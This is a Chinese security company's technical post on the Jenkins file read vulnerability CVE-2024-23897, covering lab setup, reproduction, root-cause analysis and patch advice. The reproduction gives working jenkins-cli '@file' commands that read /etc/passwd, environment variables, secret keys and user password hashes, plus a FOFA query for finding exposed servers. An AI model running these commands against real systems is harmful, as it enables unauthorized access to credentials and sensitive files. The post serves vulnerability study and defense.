你好,欢迎进入润成安全技术有限公司官网!

润成安全技术有限公司

Yunch Security Technology CO.,LTD

022-83698697

当前位置: 首页>新闻中心>技术干货

技术干货 | Jenkins 任意文件读取漏洞 (CVE-2024-23897)的复现与修复

发布时间:2024-04-26

浏览次数:871



1漏洞概述


Jenkins是一个开源的自动化服务器,近期发现了一个关于它的高危漏洞。这个漏洞的根源在于Jenkins服务端在参数解析时采用了第三方库args4j,args4j支持一种特殊功能,即允许以@开头的参数作为文件名,进而读取文件内容作为命令参数。然而,这种解析过程在服务端完成,而非在客户端的jenkins-cli.jar中完成,这种设计上的选择使得恶意用户有机会利用这一特性,通过构造特定的命令行参数来读取服务器上的敏感文件,从而引发了严重的安全问题。

受影响版本

Jenkins<=2.441

Jenkins LTS<=2.426.2

漏洞预警

2漏洞复现


直接使用docker环境搭建即可

docker pull bitnami/jenkins:2.426.2-debian-11-r3

dockerrun -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8080:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3

管理员账号密码为:user/bitnami

或者fofa

"Jenkins" && title=="Dashboard [Jenkins]"


利用jenkins-cli.jar

此漏洞需要使用到jenkins-cli.jar。读者可以从任意Jenkins网页地址下载:http://jenkins:8080//jnlpJars/jenkins-cli.jar

1.当Jenkins关闭了“允许匿名用户读取”权限时

大部分的命令无法调用,只有help和who-am-i命令可以被调用,且只能读取到目标文件的前几行

这个功能在后台的“Manage Jenkins” -> “Security” 中管理员可以将其开启或关闭,默认是关闭的。实际测试中,如果我们访问Jenkins首页,发现强制跳转到登录页面,就说明关闭了“允许匿名用户读取”功能。

使用help命令可以查看主机/etc/passwd文件的前2行

java -jar jenkins-cli.jar -s http://target-ip:8080/ help "@/etc/passwd"

此命令可以检测系统是否存在该漏洞。

使用以下命令可以读取目标服务器的/proc/self/environ文件,找到Jenkins的基础目录

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/proc/self/environ"

发现JENKINS_HOME=/bitnami/jenkins/home,然后,可在该目录下读取敏感文件,如secrets.key or master.key(匿名情况下,只能通过命令行的报错读取文件的第一行):

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http help 1 "@/bitnami/jenkins/home/secret.key"

除此之外,当Jenkins关闭了“允许匿名用户读取”功能时,其他大部分命令无法调用,会出现"ERROR: anonymous is missing the Overall/Read permission"的错误:

2.当Jenkins开启了“允许匿名用户读取”权限时

大部分命令都可以被调用,其中包括connect-node命令和reload-job命令,这2个命令可以用来读取文件全部内容

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/etc/passwd"

利用Jenkins的根目录/bitnami/jenkins/home,我们就可以来尝试读取以下敏感文件。

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/bitnami/jenkins/home/users/users.xml"

可以获取用户列表和每个用户信息所在的文件目录。

发现用户用户user所在目录user_5849473456249988042,可以读取这个目录下的config文件:/bitnami/jenkins/home/users/user_5849473456249988042/config.xml

java -jar jenkins-cli.jar -s http://target-ip:8080/ -http connect-node "@/bitnami/jenkins/home/users/user_5849473456249988042/config.xml"

可以发现用户的用户密码,使用JBCript哈希编码,#jbcrypt:$2a$10$bHLwkXlSPNe/yChANCHkS.hpRO//lKmvHiI59VUKs5ajx3huSG5DW,用户种子等。

对于bcrypt算法加密的hash值,一般只能暴力破解来获取明文。

3 漏洞分析


漏洞分析

根据官方描述,问题出在args4j 库的expandAtFiles,因此在对应方法上直接下断点。根据调用堆栈,分析执行流程。

在利用args4j库进行参数解析的过程中,expandAtFiles方法扮演了关键角色,当文件内容不符合预期的参数格式时,该方法会触发异常返回,这影响了不同命令执行后返回结果的长度。深入分析其调用堆栈和执行流程,发现在权限校验环节存在潜在的漏洞。当攻击者拥有特定权限(如Overall/Read权限)时,他们可以利用这个漏洞,通过精心构造的输入来影响expandAtFiles方法的执行,从而读取原本不应被访问的文件内容。同时这个漏洞可能影响到诸如help命令等功能的正常运行,因为它们依赖于getAtSyntax属性来解析参数。当攻击者输入以@开头的参数时,如果这些参数被错误地解析或利用,就可能导致敏感文件内容的泄露。


在新版本中,jenkins默认关闭了ALLOW_AT_SYNTAX参数。

4 修复建议  


临时缓解方案

访问控制:加强服务器和应用的访问控制,仅允许可信IP进行访问。另外如非必要,不要将该系统开放在互联网上。

临时禁用CLI访问:暂时禁用CLI访问,直到部署更新。

升级修复方案

Jenkins 2.442,LTS 2.426.3已禁用相关命令解析器特性,建议更新至这些版本以解决漏洞。







   润成安全技术有限公司(简称“润成安全”,英文缩写“YUNCH SECURITY”),是经公安部批准成立的网络安全等级测评与检测评估机构,证书号码:SC202127130010048。
     润成安全聚集了中国网络安全界的开拓者和一批高素质的技术专家,积极引进和转化世界先进的实践经验和技术成果。凭借雄厚的技术资源以及可持续发展专业背景,与相关行业主管部门紧密合作,构建了等保测评服务、通保测评服务、车联网测评服务、APP测评服务、数据安全评估服务、渗透测试服务、漏洞扫描服务、安全监测服务、安全应急服务、信息安全风险评估服务等十大业务板块,服务客户涵盖政府机关、交通、金融、电力、医疗、教育、互联网及能源等多个行业,在北京、上海、天津、河南、湖南等多地提供优质完备的网络安全服务和解决方案。
官方互动联络邮箱:runchenganquan@yunch.com.cn
联系电话:022-83698697








022-83698697

微信二维码